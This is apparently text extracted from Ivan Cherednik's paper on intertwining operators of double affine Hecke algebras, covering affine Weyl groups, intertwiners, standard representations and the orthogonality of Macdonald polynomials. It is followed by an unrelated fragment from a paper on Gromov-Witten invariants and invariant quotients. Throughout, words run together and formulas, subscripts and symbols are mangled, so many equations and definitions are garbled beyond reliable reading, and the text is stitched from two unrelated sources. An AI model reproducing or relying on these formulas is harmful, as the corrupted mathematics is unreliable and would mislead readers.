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Intertwining Operators of Double Affine Hecke Algebras

a rXiv:q -alg/96514v511J u l1996June (1996),1–36Dedicated to Yuri I.Manin on the occasion of his 60birthdayIntertwining operatorsof double aﬃne Hecke algebras By Ivan Cherednik*Continuing [C3,C4],we study the intertwining operators of double aﬃne Hecke algebras H .They appeared in several papers (especially in [C2,C4,C6]).However for the ﬁrst time here we apply them systematically to create the non-symmetric [M3,C4]and symmetric [M2]Macdonald polynomials for arbitrary root systems and to start the theory of induced and co-spherical H -modules.The importance of this technique was clearly demonstrated in recent pa-pers by F.Knop and S.Sahi [Kn],[KS],[S].Using the intertwiners of the double aﬃne Hecke algebras in the case of GL (dual to those considered in [C1,C2])they proved the q,t -integrality conjecture by I.Macdonald [M1]and managed to establish the positivity of the coeﬃcients of the Macdonald polynomials in the diﬀerential case.As to the integrality,we mention another approach based on the so-called Vinet operators (see [LV]and a recent work by Kirillov,Noumi),and the results by Garsia,Remmel,and Tesler.We do not try in this paper to get the best possible estimates for the denominators of the Macdonald polynomials (generally speaking,the problem looks more complicated than in the stable GL -case).However even rather straightforward analysis of the intertwiners gives a lot.For instance,it is enough to ensure the existence of the restricted Macdonald polynomials at roots of unity from [C3,C4],where we used less convenient methods based directly on the deﬁnition or on the recurrence relations.The technique of intertwiners combined with the (projective)action of GL (2,Z )from [C3]gives another proof of the norm and the evaluation formulas (see [C4]).Here the H -embedding of the space of nonsymmetricpolynomialsinto the space of functions on the aﬃne Weyl group ˜W ([C4],Proposition 5.2)plays a key role.The latter representation when restricted to the aﬃne Hecke subalgebra turns into the classical one from [IM]as t is a power of p and q →0(˜W is identiﬁed with the set of double cosets of the corresponding p -adic group with respect to the Iwahori subroup).2IV AN CHEREDNIKAnother important application is a calculation of the Fourier transforms of the Macdonald polynomials in the sense of[C3,C4].For instance,it gives a canonical identiﬁcation of the polynomial representation of the aﬃne Hecke algebra with the representation in functions on the weight lattice(which col-lapses in the p-adic limit).We introduce a proper discretization of theµ-function(the truncated theta-function making Macdonald’s polynomials pairwise orthogonal)and the corresponding discrete inner product on Funct(˜W).It readily gives the pro-portionality of the norms of the Macdonald polynomials[M2,C2,M3,C4]and those deﬁned for the Jackson integral taken instead of the constant term in the inner product.The coeﬃcient of proportionality is described by the Aomoto conjecture(see[A,Ito])recently proved by Macdonald(to calculate it one can also follow[C2],replacing the shift operators by their discretizations).We note that the Macdonald polynomials considered as functions on˜W are square integrable forﬁnitely many weights only.Here|q|=1and the real partℜ(k)for t=q k is to be negative(otherwise we have none).The program is to describe all integrable and non-integrable eigenfunctions of the discrete Dunkl operators in this representation and to study the corresponding Fourier transform.In contrast to the classical p-adic harmonic analysis(see e.g.[HO])the Plancherel measure coincides with the discretization ofµ(the Fourier transform is self-dual).More generally,we consider the action of the double aﬃne Hecke algebra in the same space Funct(˜W)depending on an arbitrary given weight.Its sub-module generated by the delta-functions is induced(from a character of the standard polynomial subalgebra)and co-spherical.Mainly following[C5],we ﬁnd out when arbitrary induced representations(in the same sense)are irre-ducible and co-spherical using the technique of intertwiners.The answer is a natural”aﬃnization”of the well-known statements in the p-adic case(see e.g.[KL],[C5]).The classiﬁcation of co-spherical representations is impor-tant for the harmonic analysis and plays the key role in the theory of aﬃne Knizhnik-Zamolodchikov equations(see[C6,C7,C8]).We also induce up irre-ducible representations of aﬃne Hecke subalgebras([C6]is devoted to appli-cations of such representations).If q is suﬃciently general the H-modules we get are irreducible,so one can use the classiﬁcation of[KL].Thus in this paper we begin a systematic study of the representations of double aﬃne Hecke algebras and related harmonic analysis.The polyno-mial representation considered in the series of papers[C2-4]devoted to the Macdonald conjectures is remarkable,but still just an example.The paper was started during my stay at RIMS(Kyoto University),con-tinued at CRM in Montreal,and completed at the University of Nijmegen.I am grateful to T.Miwa,L.Vinet,G.Heckman and my colleagues at theseINTERTWINERS OF DOUBLE HECKE ALGEBRAS3 institutes for the kind invitations and the hospitality.The author thanks E. Frenkel,G.Heckman,D.Kazhdan,I.Macdonald,and E.Opdam for useful discussions.1.Aﬃne Weyl groupsLet R={α}⊂R n be a root system of type A,B,...,F,G with respect to a euclidean form(z,z′)on R n∋z,z′,normalized by the standard condition that(α,α)=2for longα.Let usﬁx the set R+of positive roots(R−=−R+),the corresponding simple rootsα1,...,αn,and their dual counterparts a1,...,a n,a i=α∨i,whereα∨=2α/(α,α).The dual fundamental weights b1,...,b n are determined from the relations(b i,αj)=δj i for the Kronecker delta.We will also use the dual root system R∨={α∨,α∈R},R∨+,and the latticesA=⊕n i=1Z a i⊂B=⊕n i=1Z b i,A±,B±for Z±={m∈Z,±m≥0}instead of Z.(In the standard notations, A=Q∨,B=P∨-see[B].)Later on,να=να∨=(α,α),νi=ναi,νR={να,α∈R}⊂{2,1,2/3}.(1.1)ρν=(1/2) να=να=(ν/2)νi=νb i,forα∈R+.The vectors˜α=[α,k]∈R n×R⊂R n+1forα∈R,k∈Z form the aﬃne root system R a⊃R(z∈R n are identiﬁed with[z,0]).We addα0def=[−θ,1] to the simple roots for the maximal rootθ∈R.The corresponding set R a+of positive roots coincides with R+∪{[α,k],α∈R,k>0}.We denote the Dynkin diagram and its aﬃne completion with{αj,0≤j≤n}as the vertices byΓandΓa(m ij=2,3,4,6ifαi andαj are joined by0,1,2,3laces respectively).The set of the indices of the images ofα0by all the automorphisms ofΓa will be denoted by O(O={0}for E8,F4,G2). Let O∗=r∈O,r=0.The elements b r for r∈O∗are the so-called minuscule weights((b r,α)≤1forα∈R+).Given˜α=[α,k]∈R a,b∈B,lets˜α(˜z)=˜z−(z,α∨)˜α,b′(˜z)=[z,ζ−(z,b)](1.2)for˜z=[z,ζ]∈R n+1.The aﬃne Weyl group W a is generated by all s˜α(simple reﬂections s j= sαjfor0≤j≤n are enough).It is the semi-direct product W⋉A,where the non-aﬃne Weyl group W is the span of sα,α∈R+.Here and futher we identify b∈B with the corresponding translations.For instance,a=sαs[α,1]=s[−α,1]sαfor a=α∨,α∈R.(1.3)4IV AN CHEREDNIKThe extended Weyl group W b generated by W and B is isomorphic to W⋉B:(wb)([z,ζ])=[w(z),ζ−(z,b)]for w∈W,b∈B.(1.4)Given b+∈B+,letωb+=w0w+0∈W,πb+=b+(ωb+)−1∈W b,ωi=ωbi,πi=πbi,(1.5)where w0(respectively,w+0)is the longest element in W(respectively,in W b+ generated by s i preserving b+)relative to the set of generators{s i}for i>0.The elementsπr def=πbr,r∈O leaveΓa invariant and form a group denoted byΠ,which is isomorphic to B/A by the natural projection{b r→πr}.As to{ωr},they preserve the set{−θ,αi,i>0}.The relationsπr(α0)=αr= (ωr)−1(−θ)distinguish the indices r∈O∗.Moreover(see e.g.[C2]): W b=Π⋉W a,whereπr s iπ−1r=s j ifπr(αi)=αj,0≤j≤n. (1.6)Givenν∈νR,r∈O∗,˜w∈W a,and a reduced decomposition˜w=s jl ...s j2s j1with respect to{s j,0≤j≤n},we call l=l(ˆw)the length ofˆw=πr˜w∈W b.Setting(1.7)λ(ˆw)={˜α1=αj1,˜α2=s j1(αj2),˜α3=s j1s j2(αj3),......,˜αl=˜w−1s jl(αjl)},one can represent(1.8)l=|λ(ˆw)|= νlν,for lν=lν(ˆw)=|λν(ˆw)|,λν(ˆw)={˜αm,ν(˜αm)=ν(˜αjm)=ν},1≤m≤l, where||denotes the number of elements,ν([α,k])def=να.Let us introduce the following aﬃne action of W b on z∈R n:(1.9)(wb) z =w(b+z),w∈W,b∈B,s˜α z =z−((z,α)+k)α∨,˜α=[α,k]∈R a,and the pairing([z,ζ],z′+d)def=(z,z′)+ζ,where we treat d formally(see e.g. [K]).The connection with(1.2,1.3)is as follows:(1.10)(ˆw([z,ζ]),ˆw z′ +d)=([z,ζ],z′+d)forˆw∈W b.Using the aﬃne Weyl chamberC a=nj=0Lαj,L˜α={z∈R n,(z,α)+k>0},INTERTWINERS OF DOUBLE HECKE ALGEBRAS5(1.11)λν(ˆw)={˜α∈R a+, C a ⊂ˆw L˜α ,ν(˜α)=ν} ={˜α∈R a+,lν(ˆws˜α)<lν(ˆw)}.It coincides with(1.8)due to the relations(1.12)λν(ˆwˆu)=λν(ˆu)∪ˆu−1(λν(ˆw)),λν(ˆw−1)=−ˆw(λν(ˆw)) if lν(ˆwˆu)=lν(ˆw)+lν(ˆu).The following proposition is from[C4].Proposition1.1.Given b∈B,the decomposition b=πbωb,ωb∈W can be uniquely determined from the following equivalent conditionsi)l(πb)+l(ωb)=l(b)and l(ωb)is the biggest possible,ii)ωb(b)=b−∈B−and l(ωb)is the smallest possible,iii)πb 0 =b andλ(πb)∩R=∅.We will also use thatλ(b)={˜α,(b,α)>k≥0ifα∈R+,(1.13)(b,α)≥k>0ifα∈R−},λ(πb)={˜α,α∈R−,(b−,α)>k>0if(α,b)<0,(1.14)(b−,α)≥k>0if(α,b)>0},andλ(π−1b)={˜α,−(b,α)>k≥0}for˜α=[α,k]∈R a+.(1.15)Convexity.Let us introduce two orderings on B.Here and further b±are the unique elements from B±which belong to the orbit W(b).Namely, b−=ωbπb=ωb(b),b+=w0(b−)=ω−b(b).So the equality c−=b−(or c+=b+)means that b,c belong to the same orbit.Setb≤c,c≥b for b,c∈B if c−b∈A+,(1.16)b c,c b if b−<c−or b−=c−and b≤c.(1.17)We use<,>,≺,≻respectively if b=c.For instance,c≻b+⇔b+>W(c)>b−,c b−⇔c∈W(b−)or c≻b+.The following sets(1.18)σ(b)def={c∈B,c b},σ∗(b)def={c∈B,c≻b},σ+(b)def={c∈B,c−>b−}=σ∗(b+).are convex.Moreoverσ+is W-invariant.By convex,we mean that if c,d= c+rα∨∈σforα∈R+,r∈Z+,then{c,c+α∨,...,c+(r−1)α∨,d}⊂σ.(1.19)6IV AN CHEREDNIKThe elements fromσ(b)strictly between c and d(i.e.c+qα,0<q<r) belong toσ+(b).πb,where i p are from any se-Proposition 1.2.a)Letˆu=s˜αi m...s˜αi1quence1≤i1<i2<...<i m≤l=l(b)in a reduced decomposition of ˆw=π−1b(see(1.7)).In other words,ˆu is obtained by crossing out any number of{s j}from a reduced decomposition ofπb.Then c def=ˆu 0 ∈σ∗(b).More-over,c∈σ+(b)if and only if at least one of˜αi p=[α,k]for1≤p≤m has k>0.b)If c,b belong to the same W-orbit then the converse is ly, settingωbc def=πbπ−1c,the following relations are equivalent:(i)c≻b(which means that c>b),(ii)(α,c)>0for allα∈λ(ωbc),(iii)l(πb)=l(ωbc)+l(πc),It also results from(i)thatωbc is the smallest possible element w∈W such that b=w(c).Proof.Assertion a)is a variant of Proposition1.2from[C4].For the sake of completeness we will outline the proof of b).Taking u(c)≤b<c,we will check(ii),(iii)by induction supposing that{u′(c)≤b′<c}⇒{(ii),(iii)}for all b′,u′such that l(u′)<l(u),which is obvious when l(u′)=0.Settingβ=u(α)forα∈λ(u),u(sα(c))=u(c)−(α,c)β∨andβ∈R−(see the deﬁnition ofλ(α)).One can assume that(α,c)>0for all suchα. Otherwise usα(c)≤u(c)≤c and we can argue by induction.Applying(1.12) and(1.13),we see that l(uc)=l(u)+l(c).Indeed,the intersection ofλ(c)andc−1(λ(u))={[α,(c,α)],α∈λ(u)}is empty.Hence the product uπc is reduced(i.e.l(uπc)=l(u)+l(πc))and λ(uπc)=ωc c−1(λ(u))∪λ(πc)contains no roots from R+.Finally,Proposition 1.1leads to(iii)(and the uniqueness of u of the minimal possible length).This reasoning gives the equivalence of(ii)and(iii)as well.Assertion(i)readily results from(ii).We will also use(cf.Proposition5.2,[C4])the relationsπb=πrπc for b=πr c and any c∈B,r∈O and the equivalence of the following three conditions:(1.20)(αj,c+d)>0⇔αj∈λ(π−1c)⇔{s jπc=πb,c≻b}for0≤j≤n.When j>0it is a particular case of Proposition1.2b). Assuming that(α0,c+d)=1−(θ,c)>0,b=s0 c =c+(α0,c+d)θ>c>c−θ=sθ(b).INTERTWINERS OF DOUBLE HECKE ALGEBRAS7 Hence c∈σ+(b).If the product s0πc is reducible then we can apply statement a)to come to a contradiction.Therefore s0πc=πb,since s0is simple.The remaining implications are obvious.2.Intertwining operatorsWe put m=2for D2k and C2k+1,m=1for C2k,B k,otherwise m=|Π|.Let us sett˜α=tν(˜α),t j=tαj,where˜α∈R a,0≤j≤n,X˜b =ni=1X k i i q k if˜b=[b,k],(2.1)for b=ni=1k i b i∈B,k∈18IV AN CHEREDNIKdoes not depend on the choice of the reduced decomposition(because{T} satisfy the same“braid”relations as{s}do).Moreover,Tˆv Tˆw=Tˆvˆw whenever l(ˆvˆw)=l(ˆv)+l(ˆw)forˆv,ˆw∈W b.(2.3)In particular,we arrive at the pairwise commutative elementsY b=ni=1Y k i i if b=ni=1k i b i∈B,where Y i def=T bi,(2.4)satisfying the relations(2.5)T−1iY b T−1i=Y b Y−1a iif(b,αi)=1,T i Y b=Y b T i if(b,αi)=0,1≤i≤n.The following maps can be extended to involutions of H(see[C1,C3]):ε:X i→Y i,Y i→X i,T i→T−1i ,(2.6)tν→t−1ν,q→q−1,τ:X b→X b,Y r→X r Y r q−(b r,b r)/2,Yθ→X−10T−20Yθ,(2.7)T i→T i,tν→tν,q→q,1≤i≤n,r∈O∗,X0=qX−1θ.Let us give some explicit formulas:(2.8)ε(T0)=XθT−1Yθ=XθT sθ,ε(πr)=X r Tω−1r,τ(T0)=X−10T−1,τ(πr)=q−(b r,b r)/2X rπr=q(b r,b r)/2πr X−1r∗,πr X r∗π−1r=q(b r,b r)X−1r,X r∗TωrX r=T−1ωr∗.Theorem2.3from[C3]says that the map(2.9) 0−1−10 →ε, 1101→τcan be extended to a homomorphism of GL2(Z)up to conjugations by the central elements from the group generated by T1,...,T n.The involutionη=τ−1ετcorresponding to the matrix −1011 will play an important role in the paper:η:X r→q(b r,b r)/2X−1r Y r=πr X r∗Tωr ,(2.10)Y r→q(b r,b r)/2X−1r Y r X r=πr T−1ωr∗,Yθ→T−10T−1sθ,T j→T−1j(0≤j≤n),πr→πr(r∈O∗),tν→t−1ν,q→q−1.INTERTWINERS OF DOUBLE HECKE ALGEBRAS9 We note thatεandηcommute with the main anti-involution∗from[C2]:(2.11)X∗i=X−1i,Y∗i=Y−1i,T∗i=T−1i,tν→t−1ν,q→q−1,0≤i≤n,(AB)∗=B∗A∗.The X-intertwiners(see e.g.[C2,C5,C6])are introduced as follows:Φj=T j+(t1/2j −t−1/2j)(X aj−1)−1,G j=Φj(φj)−1,˜G j=(φj)−1Φj,(2.12)φj=t1/2j +(t1/2j−t−1/2j)(X aj−1)−1,for0≤j≤n.They belong to the extension of H by theﬁeld C q,t(X)of rational functions in{X}.The elements G j and G′j satisfy the same relations as{s j,πr}do,{Φj}satisfy the relations for{T j}(i.e.the homogeneous Coxeter relations and those withπr).Hence the elements(2.13)Gˆw=πr G jl ···G j1,whereˆw=πr s jl···s j1∈W b,are well-deﬁned and G is a homomorphism of W b.The same holds for˜G.AstoΦ,the decomposition ofˆw should be reduced.The simplest way to see this is to use the following property of{Φ}which ﬁxes them uniquely up to left or right multiplications by functions of X:Φˆw X b=Xˆw(b)Φˆw,ˆw∈W b.(2.14)Oneﬁrst checks(2.14)for s j andπr,then observes thatΦfrom(2.13)satisfy (2.14)for any choice of the reduced decomposition,and uses the normalizing conditions to see that they are uniquely determined from the intertwining relations(2.14).We note thatΦj,φj are self-adjoint with respect to the anti-involution (2.11).HenceΦ∗ˆw=Φˆw−1,G∗ˆw=˜Gˆw−1,ˆw∈W b.(2.15)It follows from the quadratic relations for T.To deﬁne the Y-intertwiners we apply the involutionεtoΦˆw and to G,˜G. The formulas can be easily calculated using(2.8).In the case of GL n one getsthe intertwiners from[Kn].For w∈W,we just need to replace X b by Y−1b and conjugate q,t(cf.[C4]).However it will be more convenient to consider η(Φ)instead ofε(Φ)to create the Macdonald polynomials.Both constructions gives the intertwiners satisfying the∗-relations from(2.15).3.Standard representationsIt was observed in[C4],Section5that there is a natural passage from the representation of H in polynomials to a representation in functions on10IV AN CHEREDNIKW b.We will continue this line,beginning with the construction of the basic representaions of level0,1.Settingx˜b =ni=1x k i i q k if˜b=[b,k],b=ni=1k i b i∈B,k∈1representation V0is induced from the character{T j→t j,πr→1}.Namely, the imageˆH is uniquely determined from the following condition:(3.7)ˆH(f(x))=g(x)for H∈H if Hf(X)−g(X)∈ni=0H(T i−t i)+ r∈O∗H(πr−1).To make the statement about V1quite obvious let us introduce the Gauss-ianγ=Const qΣn i=1z i zαi/2,where formallyx b=q z b,z a+b=z a+z b,z i=z bi,(wa)(z b)=z w(b)−(a,b),a,b∈R n. More exactly,it is a W-invariant solution of the following diﬀerence equations:(3.8)b j(γ)=Const q(1/2)Σn i=1(z i−(b j,b i))(zαi−δj i)=q−z j+(b j,b j)/2γ=q(b j,b j)/2x−1jγfor1≤j≤n.The Gaussian commutes with T j for1≤j≤n because it is W-invariant.A straightforward calculation gives that(3.9)γ(X)T0γ(X)−1=X−10T−1=τ(T0),γ(X)Y rγ(X)−1=q−(b r,b r)/2X r Y r=τ(Y r),r∈O.Hence the conjugation byγinducesτ.We can put in the following way.There is a formal H-homomorphism:(3.10)V0∋v→ˆv def=vγ−1∈V1.One has to complete V0,1to make this map well-deﬁned(see the discrete rep-resentations below).We will later need an extended version of Proposition3.6from[C2].Proposition3.2.a)The operators{Y i,1≤i≤n}acting in V0preserve Σ(b)def=⊕c∈σ(b)C q,t x c andΣ∗(b)(deﬁned forσ∗(b))for arbitrary b∈B.b)The operators{T j,0≤j≤n}acting in V0preserveΣ+(b)=Σ∗(b+):(3.11)ˆTj(x b)modΣ+(b)=t1/2jx b if(b,αj)=0,=t1/2js j(x b)+(t1/2j−t−1/2j)x b if(b,αj)<0,=t−1/2js j(x b)if(b,αj)>0.c)Coming to V1,if(αj,b+d)>0(0≤j≤n)then(3.12)ˆT j x b modΣ+(s j b )=t−1/2js j x b .Otherwise,(αj ,b +d )≤0and(3.13)ˆTj x b ∈Σ(b )for (αj ,b +d )≤0,ˆT j x b =t 1/2jx b if (αj ,b +d )=0.Proof.Due to Proposition 3.3from [C4]it suﬃces to check c)for j =0.The ﬁrst inequality,the deﬁnition of ˆT 0 x b = c ∈B u bc x c ,and (1.20)readily give that (for nonzero u )c =b +rθ(r ∈Z )and(3.14)s θ(b ′)=b −θ<b <c ≤b +(α0,b +d )θ=s 0 b def =b ′.Hence c ∈σ+(b ′)if c =b ′.The coeﬃcient u bb ′equals t −1/20.Let (α0,b +d )≤0.Then(3.15)s θ(b )=b −(b,θ)θ<c ≤b and c ∈{Σ+(b )∪b }∈Σ(b )(cf.Proposition 1.2,a)).Discretization.We go to the lattice version of the functions and opera-tors.Let ξbe a ”generic”character of C [x ]:x a (ξ)def =n i =1ξk i i ,a =n i =1k i b i ∈B,for independent parameters ξi .The discretizations of functions g (x )in x ∈C n and the operators from the algebra A def =⊕ˆu ∈W b C q,t (X )ˆu ,are described by the formulas:δx a (bw )=x a (q b w (ξ))=q (a,b )x w −1(a )(ξ),(δˆu (δg ))(bw )=δg (ˆu −1bw ).(3.16)For instance,(δX a (δg ))(bw )=x a (bw )g (bw )(we will sometimes omitδand put g (ˆw )instead of δg (ˆw )).The image of g ∈C q,t (x )belongs to the space F ξdef=Funct(W b ,C ξ)of C ξ-valued functions on W b ,where C ξdef =C q,t (ξ1,...,ξn ).Considering the discretizations of operators ˆHfor H ∈H we come to the functional representation of H in F ξ.Similarly,introducing the group algebra C ξ[W b ]=⊕ˆw ∈W b C ξδˆwfor (for-mal)delta-functions ,we can consider the dual anti-action on the indices:(3.17)δ(g (x )ˆu )( ˆw ∈W b c ˆw δˆw )= ˆw ∈W bc ˆw g (ˆw )δˆu −1ˆw ,c ˆw ∈C ξ.Composing it with the anti-involution of H(3.18)T ⋄j =T j (0≤j ≤n ),π⋄r =π−1r (r ∈O ),X ⋄i =X i (0≤i ≤n ),sending q,t to q,t(and AB to B⋄A⋄),we get the delta-representation∆ξof H in Cξ[W b]:(3.19)H→δ(ˆH⋄)def=δ(H)for H∈H.Explicitly,δπr=πr=δ(πr),r∈O,and forˆw=bwδ(Ti(g))(ˆw))=t1/2ix ai(w(ξ))q(a i,b)−t−1/2ix ai(w(ξ))q(a i,b)−1g(ˆw)for0≤i≤n,(3.20)δ(T i)(δˆw)=t1/2ix ai(w(ξ))q(a i,b)−t−1/2x ai(w(ξ))q(a i,b)−1δˆw for0≤i≤n.(3.21)There is a natural Cξ-linear pairing between Fξand∆ξ.Given g∈Funct(W b,Cξ),ˆw∈W b,{g,δˆw}def=g(ˆw),{H(g),δˆw}={g,H⋄(δˆw)},H∈H.(3.22)It also gives a nondegenerate pairing between V0and∆ξ.For arbitrary ope-rators A∈A,the relation is as follows:{δA(g),δˆw}={g,δA(δˆw)}.Let us extend the discretization map and the pairing with∆ξto V1.We use the map from(3.10)for theδ-Gaussian:(3.23)δγ(bw)def=q(b,b)/2xb(w(ξ)),which satisﬁes(3.8)and is a discretization ofγfor a proper constant(cf.[C4], (6.20)).The representations Fξand∆ξcan be introduced when q,t,{ξi}are con-sidered as complex numbers ensuring that x˜a(ξ)=1for all˜a∈(R a)∨.Follow-ing Proposition5.2from[C4],let us specialize the deﬁnition of∆forξ=t−ρ. In this casex a(bw)=x a(q b t−w(ρ))=q(a,b) νt−(w(ρν),a)ν.(3.24)Proposition3.3.The H-module∆(−ρ)def=∆t−ρcontains the H-sub-module∆#def=⊕b∈B Cδπb.This also holds for any q∈C∗and generic t. Moreover,∆#is irreducible if and only if q is not a root of unity.When q→0and t is a power of prime p the action of the algebra H a generated by{T j,0≤j≤n}in∆(−ρ)coincides with the standard action ofthe p-adic Hecke algebra H(G//I)∼=H a on the(linear span of)delta-functions on I\G/I∼=W a.Here I is the Iwahori subgroup of the split semisimple p-adic group G(see[IM]).However∆#does not remain a submodule in this limit.Multiplying the delta-functions on the right by the operator of t-symmet-rization we can get an H a-submodule isomorphic to∆#(upon the restriction to H a).Its limit readily exists and coincides with the space of delta-functions on I\G/K for the maximal parahoric subgroup K.However the latter space can be identiﬁed with neither spaces of delta-functions for smaller subsets of W a(as in Proposition3.3).It is possible only for the q-deformation under consideration.Practically,when calculating with right K-invariant functions in the p-adic case one needs to consider their values on the whole W a(that is an obviousﬂaw since much fewer number of points is enough to reconstruct them uniquely).4.OrthogonalityThe coeﬃcient of x0=1(the constant term)of a polynomilal f∈C q,t[x] will be denoted by f 0.Let(4.1)µ= a∈R∨+∞ i=0(1−x a q i a)(1−x−1a q i+1a).(1−x a(tρ)t a q i a)(1−x a(tρ)t−1a q i a)Here x b(t±ρq c)=q(b,c) νt±(b,ρν)ν.We note thatµ∗0=µ0with respect to the involutionx∗b=x−b,t∗=t−1,q∗=q−1.Setting(4.3)f,g 0= µ0f g∗ 0= g,f ∗0for f,g∈C(q,t)[x],we introduce the non-symmetric Macdonald polynomials e b(x),b∈B−,by means of the conditions(4.4)e b−x b∈Σ∗(b), e b,x c =0for c∈σ∗={c∈B,c≻b}in the setup of Section1.They can be determined by the Gram-Schmidt process because the pairing is non-degenerate and form a basis in C(q,t)[x].This deﬁnition is due to Macdonald[M3](for tν=q k,k∈Z+)who extended Opdam’s nonsymmetric polynomials introduced in the degenerate (diﬀerential)case in[O2].He also established the connection with the Y-operators.The general case was considered in[C4].The notations are from Proposition1.1and(1.1).We use the involution ¯x a=x−1a,¯q=q,¯t=t,a∈B.Proposition4.1.a)For any H∈H and the anti-involution∗from (2.11), ˆH(f),g 0= f,ˆH∗(g) 0.Here f,g are either from V0or from V1.All products of{X b,Y b,T j,πr,q,tν}are unitary operators.b)The polynomials{e b,b∈B}are eigenvectors of the operators{L f def= f(Y1,···,Y n),f∈C[x]}:L¯f(e b)=f(#b)e b,where#b def=πb=bω−1b ,(4.5)x a(#b)def=x a(q b t−ω−1b(ρ))=q(a,b) νt−(ω−1b(ρν),a)ν,w∈W.(4.6)Proof.Assertion a)for V0is from[C2].Using(3.10)we come to V1(a formal proof is equally simple).Since operators{Y b}are unitary relative to , 0and leave allΣ(a),Σ∗(a)invariant(Proposition3.2),their eigenvectors in C q,t[x]are exactly{e}.See[M3,C4].The theorem results immediately in the orthogonality of{e b}for pairwise distinct b.Macdonald also gives the formula for the squares of e b(for tν= q k,k∈Z+)and writes that he deduced it from the corresponding formula in the W-symmetric case(proved in[C2]).The general case was considered in [C4]where we used the recurrence relations.A direct simple proof(based on the intertwiners)will be given below.The symmetric Macdonald polynomials form a basis in the space C q,t[x]W of all W-invariant polynomials and can be expressed as follows:(4.7)p b=P t b e b=P1b e b,b=b+∈B+,P t def= c∈W(b) νt lν(w c)/2νˆTw c,w cdef=ω−1c w0,P1b=P t=1b.This presentation is from[M3,C4](from[O2]in the diﬀerential case). Here one can take the complete symmetrizations(with proper coeﬃcients) since e b is W b-invariant for the stabilizer W b of b.Macdonald introduced these polynomials in[M1,M2]by the conditionsp b−m b∈Σ+(b), p b,m c 0=0,b∈B+,c≻b,(4.8)for the monomial symmetric functions m b= c∈W(b)x c.One can also deﬁne {p}as eigenvectors for the(W-invariant)operators L f,f∈C q,t[x]W:L f(p b)=f(q b o tρ)p b,b∈B+,b o=−w0(b),(4.9)normalized as above.Applying any elements from H Y=<T j,Y b>to e c(c∈W(b+))we get solutions of(4.9),because symmetric Y-polynomials are central in H Y(due to I.Bernstein).It readily gives the coincidence of(4.7)and(4.9).Functional representations.The representations Fξ,∆ξalso have in-variant skew-symmetric forms.Letµ1(bw)=µ(bw)/µ(1)def=(4.10)a∈R∨+∞i=0(1−x a(bw)q i a)(1−x−1a(bw)q i+1a)(1−x a(1)t a q i a)(1−x−1a(1)t a q i+1a)t1/2α−qjαt−1/2αx a(ξ),(4.11)where a=α∨,and we extend the conjugation∗from C q,t to Cξsettingξ∗i=ξ−1i.b)The following Cξ-valued scalar product is well-deﬁned for f,g from the H-submodule ofﬁnitely supported functions Fξ⊂Fξ=Funct(W b,Cξ):f,g 1= ˆw∈W bµ1(ˆw)f(ˆw)g(ˆw)∗= g,f ∗1.(4.12)c)Assertion a)from Proposition4.1holds for Fξand∆ξ,where the latter module is endowed with the scalar productf,g −1= ˆw∈W b(µ1(ˆw))−1uˆw v∗ˆw,f= uˆwδˆw,g= vˆwδˆw.(4.13)Namely, H(f),g ±1= f,H∗(g) ±1.Proof.Since x˜a(ˆw)=x˜a′(1)for˜a=˜α∨∈(R a+)∨,where˜a′def=ˆw−1(˜a), one has forˆw=bw:(4.14)µ1(ˆw)= ˜α∈R a+(1−x˜a(ˆw))(1−t a x˜a(1))(1−x˜a(1))(1−t a x˜a′(1)) = ˜α∈λ(ˆw)(1−x−1˜a(1))(1−t a x˜a(1))Here we use thatˆw−1(R a+)={−λ(ˆw)}∪{R a+\λ(ˆw)}.The invariance of µ1(ˆw)∈Cξwith respect to the conjugation∗is obvious.Other statements are completely analogous to those forµ0(and follow from them).The key relation(4.15)ˆHµ(X)=µ(X)(ˆH∗)+,H∈H,readily holds after the discretization.Here by+we mean the anti-involutionˆw+=ˆw−1∈W b,x+b=x−1b,b∈B,q,t→q−1,t−1.Its discretization conjugates the values of functions from Fξand the coeﬃcients ofδˆw in∆ξ(ﬁxingδˆw).The characteristic functions fˆw∈Fξ(ˆw∈W b)are deﬁned from the rela-tions fˆw(ˆu)=δˆw,ˆu for the Kronecker delta.The action of the operators X b on them is the same as for{δˆw}:X b(fˆw)=x b(ˆw)fˆw,X b(δˆw)=x b(ˆw)δˆw,b∈B,ˆw∈W b.Moreover the mapfˆw→µ1(ˆw)δˆw,ˆw∈W b,(4.16)establishes an H-isomorphism between Fξand∆ξ,taking , 1to , −1.It readily results from the formulas:δTi(fˆw)=t1/2ix−1ai(w(ξ))q−(a i,b)−t−1/2x ai(w(ξ))q(a i,b)−1fˆw for0≤i≤n,(4.17)and the formulas for the action of{πr}.Let us consider the special caseξ=t−ρ(see(3.24)).Using the pairing(3.22),we see that the subspace(4.18)F#=⊕ˆw∈#B C q,t fˆw⊂F(−ρ)=F t−ρ,where#B={#b=πb∈W b,b∈B},is an H-submodule.It is exactly the radical of the form , 1,which is well-deﬁned for suchξ.Indeed,anyˆw can be uniquely represented in the form(see[C2])ˆw=πb w,where b=ˆw b ,w∈W,l(ˆw)=l(πb)+l(w). Hence,{ˆw∈#B}⇒{αi∈λ(ˆw)for some i>0}⇒{µ1(ˆw)=0}.On the other hand,µ1(#b)= a∈R∨+ t−1/2α−q jαt1/2αx a(tρ)。

GW Invariants and Invariant Quotients

1991 Mathematics Subject Classiﬁcation. 14H10, 14L30.
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GW INVARIANTS AND INVARIANT QUOTIENTS
precise meaning of the notations will be given later on): ˆ := exp.dim M g,k (X/ ˆ) = (3 − dim X/ ˆ + k, D /G, A /G)(g − 1) + c1 (X/ /G) · A /G D − dim G := exp . dim .M g,k (X, A)/ = (3 − dim X )(g − 1) + c1 (X ) · A + k − dim G, and therefore ˆ − (D − dim G) = g · dim G. (⋆) D ˆ) is larger From this computation we deduce that in general the space M g,k (X/ /G, A than M g,k (X, A)/ /G, the only exception happening in genus zero. Very shortly, the explanation for this phenomenon is that the projective line is the only one smooth curve which has the property that a topologically trivial, holomorphic principal G-bundle over it is also holomorphically trivial. In higher genera, holomorphic principal G-bundles with ﬁxed topological type depend on ‘moduli’, whose number agrees with the diﬀerence (⋆) above. This is the reason why for computing higher ˆ we will need to consider maps into a larger variety X ¯ whose genus invariants of X construction, in the case when G is a torus, is given in lemma 6.1. The article is organized as follows: the ﬁrst section recalls some basic facts about stable maps and their moduli spaces, the reference being [9]. In section 2 we describe the G-semi-stable points of the moduli space of stable maps M g,k (X, A). The results obtained in this section hold in full generality, no matter what the G-action on X looks like. We obtain the suﬃcient result (theorem 2.5) which says that a map with image contained in the semi-stable locus of X is G-semi-stable as a point of M g,k (X, A) and a necessary result (corollary 2.4) which says that a stable map representing a G-semi-stable point of M g,k (X, A) does not have its image contained in the unstable locus of X . Section 3 characterizes the 